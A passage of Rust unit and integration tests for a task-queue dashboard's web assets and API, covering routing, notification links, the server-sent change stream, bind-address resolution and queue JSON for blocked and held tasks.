11341        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11342
11343        // `blocked_by` mixes task ids and question ids in the same list, and
11344        // the client can only tell them apart by checking each id against
11345        // what it actually knows - never by guessing from the id's shape.
11346        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11347        assert!(
11348            APP_JS.contains(
11349                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11350            ),
11351            "the note line must name what a blocked task is waiting on, not just that it is blocked"
11352        );
11353        // The classification must key off `status_str`, never off `blocked_by`
11354        // or `block_reason` merely being present - both can survive briefly
11355        // on a task a hold or a dead daemon just moved off `blocked`.
11356        assert!(APP_JS.contains("if (status === \"blocked\") {"));
11357
11358        // A question a task is blocked on gets its own node in the same
11359        // dependency graph, not just a task-shaped node with nothing known
11360        // about it.
11361        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11362        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11363        assert!(
11364            APP_JS.contains("location.hash = \"#/questions\";"),
11365            "a question node must jump to the Questions screen, not pretend to be a task"
11366        );
11367
11368        // `Task::answers` - decisions already made - are shown as a record on
11369        // the card, the same disclosure style as the full instruction.
11370        assert!(APP_JS.contains("Resolved questions"));
11371        assert!(APP_JS.contains("r.answersList.append("));
11372        assert!(APP_CSS.contains(".task-answers"));
11373        {
11374            let start = APP_JS
11375                .find("function updateTalkTaskRow")
11376                .expect("updateTalkTaskRow");
11377            let body = &APP_JS[start..];
11378            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11379            assert!(
11380                body.contains(
11381                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11382                ),
11383                "a chat-filed task row must link to the task page"
11384            );
11385            assert!(
11386                !body.contains("#/runs/") && !body.contains("#/queue/"),
11387                "the row must not branch to a run or the queue card"
11388            );
11389            assert!(APP_CSS.contains(".talk-task-link"));
11390        }
11391    }
11392
11393    #[test]
11394    fn a_task_notification_links_to_the_task_page() {
11395        // A task notice opens the task detail page, not the Backlog card.
11396        let start = APP_JS
11397            .find("function noticeLink(")
11398            .expect("noticeLink exists");
11399        let body = &APP_JS[start..];
11400        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11401        assert!(
11402            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11403            "a task notice's link must target the task page"
11404        );
11405        assert!(
11406            !body.contains("#/queue/"),
11407            "regression: the task link must not go back to the Backlog route"
11408        );
11409        assert!(
11410            APP_JS.contains(
11411                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11412            ),
11413            "`#/tasks/<id>` must parse into the task route"
11414        );
11415
11416        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
11417        assert!(
11418            APP_JS.contains(
11419                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11420            ),
11421            "`#/queue/<id>` must parse into a route carrying that id"
11422        );
11423
11424        // And the Backlog view has to actually land on the card once it can
11425        // - see consumeQueueFocus(), which renderQueue() calls on every pass
11426        // so a focus set before the queue has loaded is retried once it has.
11427        assert!(APP_JS.contains("state.queueFocus = route.id;"));
11428        assert!(APP_JS.contains("function consumeQueueFocus()"));
11429        assert!(APP_JS.contains("jumpToTask(id)"));
11430    }
11431
11432    /// Chat rows are two lines at every width: the title alone, then the
11433    /// shrinkable secondary info.
11434    #[test]
11435    fn chat_rows_put_the_title_alone_on_the_first_line() {
11436        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
11437        assert!(APP_CSS.contains(
11438            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
11439        ));
11440        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
11441        assert!(APP_JS.contains("class: \"badge talk-unread\""));
11442    }
11443
11444    #[test]
11445    fn run_rows_put_the_title_alone_on_the_first_line() {
11446        assert!(
11447            APP_CSS.contains(
11448                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
11449            )
11450        );
11451        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
11452        assert!(APP_JS.contains("class: \"card run-card\""));
11453        assert!(APP_JS.contains("class: \"repo run-id\""));
11454    }
11455
11456    /// Wide screens get a master/detail layout built from the views a phone
11457    /// drills into. These are string assertions: they pin the contract between
11458    /// the three assets, not how it looks.
11459    #[test]
11460    fn wide_screens_show_list_and_preview_side_by_side() {
11461        // One breakpoint, spelled the same in the script and the stylesheet.
11462        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
11463        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
11464        assert!(APP_CSS.contains("main[data-split]"));
11465        assert!(APP_CSS.contains("body[data-split]"));
11466
11467        // The route -> panes table, and a narrow screen opting out of it.
11468        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
11469        assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
11470        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
11471        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
11472        assert!(INDEX_HTML.contains("id=\"split-empty\""));
11473
11474        // Selection is derived from the route, and only ever paints a row.
11475        assert!(APP_JS.contains("function markSelected() {"));
11476        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
11477        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
11478        // The dense row must override the stacked card the 720px block sets up.
11479        assert!(
11480            APP_CSS.contains(
11481                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
11482            )
11483        );
11484
11485        // Independent scrolling: the page stops scrolling, each pane does.
11486        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
11487        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
11488        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
11489        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
11490
11491        // A refresh must never navigate: the loaders still check that their
11492        // subject is the one on screen, and crossing the breakpoint only
11493        // re-reads the hash.
11494        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
11495        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
11496        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
11497        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
11498
11499        // The panel sandbox and its CSP are untouched by any of this.
11500        assert!(APP_JS.contains("sandbox: \"\""));
11501        assert!(!APP_JS.contains("sandbox: \"allow"));
11502    }
11503
11504    #[test]
11505    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
11506        // consumeQueueFocus() clears an active Backlog search before it can
11507        // scroll to the target card (the sections list is hidden while a
11508        // search is showing), by recursing back into renderQueue(). The
11509        // fixer's first cut nulled state.queueFocus before that recursive
11510        // call, so the second pass saw nothing to jump to and the jump was
11511        // silently dropped whenever a notification's link was opened with a
11512        // stale search still active. state.queueFocus must only be cleared
11513        // right before jumpToTask() actually runs.
11514        assert!(
11515            APP_JS.contains(
11516                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
11517            ),
11518            "the search-clearing branch must run before state.queueFocus is cleared, or the \
11519             recursive renderQueue() call has nothing left to jump to"
11520        );
11521        assert!(
11522            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
11523            "state.queueFocus must be cleared only once the jump has landed, so a card that \
11524             arrives later still gets it"
11525        );
11526        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
11527        assert!(APP_JS.contains("is not in the current Backlog."));
11528        assert!(APP_JS.contains("li.card[data-task-id=\""));
11529        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
11530        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
11531        assert!(APP_CSS.contains(".card-permalink"));
11532        assert!(APP_CSS.contains(".queue-focus-status"));
11533        assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
11534    }
11535
11536    #[test]
11537    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
11538        // The task's own repro: only the link text inside .notice-meta was
11539        // clickable, so a tap on the message, the timestamp, or the card's
11540        // padding did nothing - on a phone that reads as "the card doesn't
11541        // work" even though the tiny link inside it did. Mark read / Dismiss
11542        // must keep working independently of this: `.closest("a, button")`
11543        // is what lets a tap that actually lands on those elements fall
11544        // through instead of being hijacked into a navigation.
11545        assert!(
11546            APP_JS.contains(
11547                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
11548            ),
11549            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
11550        );
11551    }
11552
11553    #[test]
11554    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
11555        assert!(
11556            APP_JS.contains("round.verified_head !== round.head"),
11557            "a round that verified an earlier commit must be visibly distinct from one that \
11558             verified the head reviewers are looking at now"
11559        );
11560        assert!(
11561            APP_JS.contains("round.verified_at"),
11562            "when a check ran must be on the wire, not just which commit"
11563        );
11564        assert!(
11565            APP_JS.contains("resource_blocked"),
11566            "a command magi never got to run (shared build cache contention) must not render \
11567             the same as a command that ran and failed"
11568        );
11569    }
11570
11571    #[test]
11572    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
11573        // Every KPI tile but Total runs and Completion names an exact
11574        // RunStatus and hands it to openRunsFiltered(), which is what wires
11575        // the click into state.runsFilter.status (matchesFilter's own
11576        // status check) rather than the coarser runsStateFilter chips. Each
11577        // status literal here must be one of the strings runSection() (and
11578        // isStale()) actually compare a run's own `status` field against -
11579        // a status this dashboard invented would filter to nothing.
11580        assert!(
11581            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
11582            "every KPI tile built through statusTile() must route its click through \
11583             openRunsFiltered, the single place that sets the Runs filter"
11584        );
11585        for (label, status) in [
11586            ("Merged", "merged"),
11587            ("Ready", "ready"),
11588            ("Blocked", "blocked"),
11589            ("Stalled", "stalled"),
11590        ] {
11591            let call = format!("statusTile(\"{label}\", t.{status}, ");
11592            assert!(
11593                APP_JS.contains(&call),
11594                "expected the {label} KPI tile built via {call}..."
11595            );
11596            assert!(
11597                APP_JS.contains(&format!("status === \"{status}\"")),
11598                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
11599                 compare a run against, not one invented only for the stats tile"
11600            );
11601        }
11602        assert!(
11603            APP_JS.contains("function openRunsFiltered(status)"),
11604            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
11605        );
11606        assert!(
11607            APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
11608            "matchesFilter must gate on the exact status a KPI tile named"
11609        );
11610        // applyRoute() only flips which view is visible for a plain `#runs`
11611        // hash - it does not itself redraw the list (see applyRoute's own
11612        // handling below) - so openRunsFiltered must call renderRuns()
11613        // itself, and must call applyRoute() too so the view flips even
11614        // when the hash string doesn't change (the operator may already be
11615        // on the Runs view when a tile is tapped, which fires no
11616        // hashchange event at all).
11617        assert!(
11618            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
11619            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
11620             hashchange event that may never fire"
11621        );
11622    }
11623
11624    #[test]
11625    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
11626        // A stats tile can leave state.runsFilter.status set to something
11627        // done-by-construction (e.g. "merged") - picking "Active" afterward
11628        // must drop it the same way an incompatible tree section is already
11629        // dropped, or the Runs list renders permanently empty with no way
11630        // for the operator to tell why.
11631        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
11632        assert!(
11633            APP_JS.contains(
11634                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
11635            ),
11636            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
11637             guard for an incompatible tree section"
11638        );
11639    }
11640
11641    #[test]
11642    fn every_stats_queue_tile_names_a_real_queue_section() {
11643        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
11644        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
11645        // (consumeQueueSectionFocus finds no matching <details> and drops
11646        // the focus) rather than fail loudly, so pin every key against the
11647        // section list it has to resolve against.
11648        assert!(
11649            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
11650            "every queue tile built through sectionTile() must route its click through \
11651             openQueueSectionFocus"
11652        );
11653        for key in ["upnext", "running", "done", "held", "blocked"] {
11654            assert!(
11655                APP_JS.contains(&format!("{{ key: \"{key}\",")),
11656                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
11657            );
11658        }
11659        // Queued and Failed intentionally both resolve to "upnext" - the
11660        // same section queueSection() itself files them under - rather than
11661        // getting a section each.
11662        for line in [
11663            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
11664            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
11665            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
11666            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
11667            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
11668            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
11669        ] {
11670            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
11671        }
11672    }
11673
11674    #[test]
11675    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
11676        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
11677        // above for the section-focus channel a stats queue tile drives:
11678        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
11679        // through the stale-search-clear recursion into renderQueue(), and
11680        // clear it only once revealQueueSection() is actually about to run -
11681        // the same trap that once silently dropped a task-focus jump.
11682        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
11683        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
11684        assert!(APP_JS.contains("function revealQueueSection(details)"));
11685        assert!(
11686            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
11687            "renderQueue() must consume both focus channels on every pass"
11688        );
11689        assert!(
11690            APP_JS.contains(
11691                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
11692            ),
11693            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
11694             the recursive renderQueue() call has nothing left to reveal"
11695        );
11696        assert!(
11697            APP_JS.contains(
11698                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
11699            ),
11700            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
11701        );
11702        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
11703        // task-focus form of the hash - a plain `#queue` navigation only
11704        // flips which view is visible. openQueueSectionFocus() must
11705        // therefore call renderQueue() itself, and applyRoute() too so the
11706        // view flips even when the hash doesn't change (the Backlog may
11707        // already be open when a tile is tapped, firing no hashchange
11708        // event at all).
11709        assert!(
11710            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
11711            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
11712             hashchange event that may never fire"
11713        );
11714    }
11715
11716    #[tokio::test]
11717    async fn the_change_stream_announces_the_current_revisions_on_connect() {
11718        let f = Fixture::start().await;
11719
11720        let mut socket = tokio::net::TcpStream::connect(f.addr)
11721            .await
11722            .expect("connect");
11723        socket
11724            .write_all(
11725                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
11726            )
11727            .await
11728            .expect("write request");
11729
11730        // Read until the first event arrives rather than to end of stream: the
11731        // stream is endless by design, which is the point of the route.
11732        let mut seen = String::new();
11733        let mut buf = [0u8; 1024];
11734        while !seen.contains("event: change") {
11735            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
11736                .await
11737                .expect("the stream must speak within five seconds")
11738                .expect("read");
11739            assert!(read > 0, "the server closed the change stream: {seen}");
11740            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
11741        }
11742
11743        assert!(
11744            seen.to_lowercase()
11745                .contains("content-type: text/event-stream"),
11746            "the browser only reconnects automatically for a real SSE stream: {seen}"
11747        );
11748        let data = seen
11749            .lines()
11750            .find_map(|l| l.strip_prefix("data:"))
11751            .expect("a data line");
11752        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
11753        assert!(
11754            payload["queue_rev"].is_u64()
11755                && payload["runs_rev"].is_u64()
11756                && payload["questions_rev"].is_u64()
11757                && payload["talks_rev"].is_u64()
11758                && payload["notifications_rev"].is_u64()
11759                && payload["loop_rev"].is_u64(),
11760            "the client needs one revision per store to know what to refetch, \
11761             and `talks_rev` is the only notification a standing talk gets - a \
11762             phone whose radio slept through a turn learns about it here, as \
11763             does one whose operator started the loop from another device: \
11764             {payload}"
11765        );
11766
11767        // The front end re-polls health on a timer and on wake, and takes the
11768        // revisions from that answer whenever the stream is not up. So health
11769        // has to carry every key the stream carries: a phone on a link that
11770        // will not hold an SSE connection is exactly the phone that must still
11771        // notice a question, and a missing key there is not a 500 but a UI
11772        // that quietly stops updating.
11773        let health = f.get("/api/health").await.json();
11774        for key in [
11775            "queue_rev",
11776            "runs_rev",
11777            "questions_rev",
11778            "talks_rev",
11779            "notifications_rev",
11780            "loop_rev",
11781        ] {
11782            assert!(
11783                health[key].is_u64(),
11784                "health is the change stream's fallback and is missing `{key}`: {health}"
11785            );
11786        }
11787    }
11788
11789    #[tokio::test]
11790    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
11791        let f = Fixture::start().await;
11792        let before = f.get("/api/health").await.json()["talks_rev"]
11793            .as_u64()
11794            .expect("talks_rev");
11795
11796        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
11797        std::thread::sleep(Duration::from_millis(10));
11798        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
11799        on_disk.turns.push(crate::talk::Turn {
11800            who: crate::talk::Who::Operator,
11801            body: "a new turn".to_owned(),
11802            at: Timestamp::now(),
11803            attachments: Vec::new(),
11804            usage: None,
11805        });
11806        f.talks().put(&mut on_disk).expect("record a turn");
11807
11808        let after = f.get("/api/health").await.json()["talks_rev"]
11809            .as_u64()
11810            .expect("talks_rev");
11811        assert_ne!(
11812            before, after,
11813            "a phone must be able to notice a talk's reply without polling every store"
11814        );
11815    }
11816
11817    #[test]
11818    fn bind_reads_back_from_the_spelling_the_cli_prints() {
11819        // The CLI shows the default in `--help` and parses whatever comes
11820        // back, so the two directions have to agree or `--bind auto` breaks
11821        // the moment someone copies the help text.
11822        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
11823            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
11824        }
11825        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
11826        assert!("everywhere".parse::<Bind>().is_err());
11827    }
11828
11829    #[test]
11830    fn an_explicit_bind_address_is_taken_verbatim() {
11831        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
11832
11833        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
11834
11835        assert_eq!(addr, asked);
11836        assert!(
11837            warning.is_none(),
11838            "an operator who named an address gets no lecture"
11839        );
11840    }
11841
11842    #[test]
11843    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
11844        let (addr, warning) = resolve_bind(&Bind::Auto);
11845
11846        // This has to hold on a CI runner with no `tailscale` and on a dev box
11847        // with one, so the invariant asserted is the one shared by both
11848        // outcomes: the address is either a real tailnet address offered
11849        // without comment, or loopback with an explanation. What must never
11850        // happen is a silent fallback - an operator told "listening on
11851        // 127.0.0.1" with no reason would go looking for a firewall.
11852        match addr {
11853            IpAddr::V4(ip) if is_tailnet(&ip) => {
11854                assert!(warning.is_none(), "a tailnet address needs no warning");
11855            }
11856            other => {
11857                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
11858                let warning = warning.expect("a fallback has to explain itself");
11859                assert!(
11860                    warning.contains("127.0.0.1") && warning.contains("local-only"),
11861                    "the warning says what happened and what it costs: {warning}"
11862                );
11863            }
11864        }
11865    }
11866
11867    #[test]
11868    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
11869        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
11870        // boundary cases are what stop us binding to some other tool's idea of
11871        // an address.
11872        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
11873        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
11874        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
11875        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
11876        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
11877    }
11878
11879    #[test]
11880    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
11881        let ids = vec![
11882            "20260902-140501-aaaa".to_owned(),
11883            "20260902-140502-aabb".to_owned(),
11884        ];
11885
11886        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
11887        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
11888        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
11889
11890        assert_eq!(missing.status, StatusCode::NOT_FOUND);
11891        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
11892        assert_eq!(short, "20260902-140502-aabb");
11893    }
11894    #[tokio::test]
11895    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
11896        // The prompt tells agents to reference attachments by bare filename.
11897        // A document served at `.../panel` resolves `shot.png` against its own
11898        // directory, i.e. `.../shot.png`, which is not the asset route - so a
11899        // panel written exactly as instructed showed broken images. Caught by
11900        // looking at a real one in a browser, not by reading the code.
11901        let fx = Fixture::start().await;
11902        let id = panel(
11903            &fx,
11904            "<img src=\"shot.png\">",
11905            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
11906        );
11907
11908        // The frame's own URL ends in a filename, so its siblings are reachable.
11909        let doc = fx
11910            .get(&format!("/api/questions/{id}/panel/index.html"))
11911            .await;
11912        assert_eq!(doc.status, 200, "{}", doc.body);
11913        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
11914
11915        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
11916        assert_eq!(sibling.status, 200, "{}", sibling.body);
11917        assert_eq!(sibling.header("content-type"), Some("image/png"));
11918        assert_eq!(
11919            sibling.header("content-security-policy"),
11920            Some(PANEL_CSP),
11921            "the sibling route must carry the same policy as the asset route"
11922        );
11923
11924        // The original spelling keeps working: HEAD on it is how the front end
11925        // decides whether to mount a frame at all.
11926        assert_eq!(
11927            fx.head(&format!("/api/questions/{id}/panel")).await.status,
11928            200
11929        );
11930    }
11931
11932    #[test]
11933    fn runs_revision_moves_when_deleting_an_older_run() {
11934        let temp = TempDir::new().expect("tempdir");
11935        let runs = temp.path().join("runs");
11936        std::fs::create_dir_all(&runs).expect("create runs dir");
11937
11938        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
11939
11940        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
11941        std::thread::sleep(Duration::from_millis(10));
11942        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
11943
11944        let rev_before = runs_revision(&runs);
11945        assert!(rev_before > 0);
11946
11947        let old_dir = runs.join("20260901-100000-old1");
11948        std::fs::remove_dir_all(&old_dir).expect("remove old run");
11949
11950        let rev_after = runs_revision(&runs);
11951        assert_ne!(
11952            rev_before, rev_after,
11953            "deleting an older run must change the revision so other clients see the deletion"
11954        );
11955    }
11956
11957    /// A run's own `run.json` on an explicit `runs` root, bypassing the
11958    /// process-global home entirely — `RunState::save` writes through
11959    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
11960    /// (see `tests::home_lock` in the integration suite for why).
11961    fn write_state(runs: &FsPath, state: &RunState) {
11962        let dir = runs.join(&state.id);
11963        std::fs::create_dir_all(&dir).expect("run dir");
11964        std::fs::write(
11965            dir.join("run.json"),
11966            serde_json::to_string_pretty(state).expect("serialize run"),
11967        )
11968        .expect("write run.json");
11969    }
11970
11971    /// A seat starting or finishing is a write to `run.json` like any other,
11972    /// so it moves the same revision the change stream already watches —
11973    /// nothing new for `/api/events` to learn, but the property this feature
11974    /// depends on to reach the phone without a poll.
11975    #[test]
11976    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
11977        let temp = TempDir::new().expect("tempdir");
11978        let runs = temp.path().join("runs");
11979        std::fs::create_dir_all(&runs).expect("create runs dir");
11980        let mut state = RunState::new(
11981            PathBuf::from("/repo/magi"),
11982            "main".to_owned(),
11983            "0123456789abcdef".to_owned(),
11984            "task".to_owned(),
11985            Config::default(),
11986        );
11987        state.id = "20260902-100000-c0de".to_owned();
11988        write_state(&runs, &state);
11989
11990        let rev_idle = runs_revision(&runs);
11991        std::thread::sleep(Duration::from_millis(10));
11992        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
11993        write_state(&runs, &state);
11994        let rev_started = runs_revision(&runs);
11995        assert_ne!(
11996            rev_idle, rev_started,
11997            "a seat starting must move the revision"
11998        );
11999
12000        std::thread::sleep(Duration::from_millis(10));
12001        state.seat_finished("judge-1");
12002        write_state(&runs, &state);
12003        let rev_finished = runs_revision(&runs);
12004        assert_ne!(
12005            rev_started, rev_finished,
12006            "and clearing it again must move the revision a second time"
12007        );
12008    }
12009
12010    #[tokio::test]
12011    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
12012        // `TaskView` flattens `Task`, so this is really asserting that
12013        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
12014        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
12015        // never touched web.rs, so nothing here caught it if it had.
12016        let fx = Fixture::start().await;
12017        let q = fx.queue();
12018
12019        let mut t = Task::new(
12020            "Task".to_owned(),
12021            "Instruction".to_owned(),
12022            PathBuf::from("/repo"),
12023            Source::Human,
12024        );
12025        t.block(
12026            vec!["20260101-000000-dead".to_owned()],
12027            Some("waiting on Task 1".to_owned()),
12028        );
12029        t.answers.push(crate::queue::AnsweredQuestion {
12030            question: "Which backend?".to_owned(),
12031            answer: "SQLite".to_owned(),
12032        });
12033        q.put(&mut t).expect("put t");
12034
12035        let res = fx.get("/api/queue").await;
12036        assert_eq!(res.status, 200);
12037        let list = res.json();
12038        let view = list
12039            .as_array()
12040            .expect("array")
12041            .iter()
12042            .find(|v| v["id"] == t.id)
12043            .expect("task in list");
12044        assert_eq!(view["status_str"], "blocked");
12045        assert_eq!(
12046            view["blocked_by"],
12047            serde_json::json!(["20260101-000000-dead"])
12048        );
12049        assert_eq!(view["block_reason"], "waiting on Task 1");
12050        assert_eq!(view["answers"][0]["question"], "Which backend?");
12051        assert_eq!(view["answers"][0]["answer"], "SQLite");
12052
12053        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
12054        // but never `answers` - that is a settled decision, not state
12055        // describing the current block, so it survives.
12056        let res = fx
12057            .post(&format!("/api/queue/{}/hold", t.short()), None)
12058            .await;
12059        assert_eq!(res.status, 200);
12060        let held = res.json();
12061        assert_eq!(held["status_str"], "held");
12062        assert_eq!(held["blocked_by"], serde_json::json!([]));
12063        assert!(held["block_reason"].is_null());
12064        assert_eq!(held["answers"][0]["answer"], "SQLite");
12065    }
12066
12067    #[tokio::test]
12068    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
12069        let fx = Fixture::start().await;
12070        let q = fx.queue();
12071        let mk = |title: &str| {
12072            Task::new(
12073                title.to_owned(),
12074                "Instruction".to_owned(),
12075                PathBuf::from("/repo"),
12076                Source::Human,
12077            )
12078        };
12079        let mut root = mk("root");
12080        root.hold_manual(Some("waiting".to_owned()));
12081        q.put(&mut root).unwrap();
12082        let mut mid = mk("mid");
12083        mid.block(vec![root.id.clone()], None);
12084        q.put(&mut mid).unwrap();
12085        let mut leaf = mk("leaf");
12086        leaf.block(vec![mid.id.clone()], None);
12087        q.put(&mut leaf).unwrap();
12088
12089        let list = fx.get("/api/queue").await.json();
12090        let find = |id: &str| {
12091            list.as_array()
12092                .unwrap()
12093                .iter()
12094                .find(|v| v["id"] == id)
12095                .unwrap()
12096                .clone()
12097        };
12098        let leaf_view = find(&leaf.id);
12099        assert_eq!(
12100            leaf_view["waits_on"],
12101            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
12102        );
12103        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
12104        assert_eq!(
12105            find(&mid.id)["waits_on"],
12106            serde_json::json!([format!("{} (held)", root.short())])
12107        );
12108        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
12109    }
12110
12111    #[tokio::test]
12112    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
12113        let fx = Fixture::start().await;
12114        let q = fx.queue();
12115
12116        // 1. A queued task with runs attached can be deleted.
12117        let mut t1 = Task::new(
12118            "Task 1".to_owned(),
12119            "Instruction 1".to_owned(),
12120            PathBuf::from("/repo"),
12121            Source::Human,
12122        );
12123        let run_id = "20260901-000000-r111";
12124        t1.runs.push(run_id.to_owned());
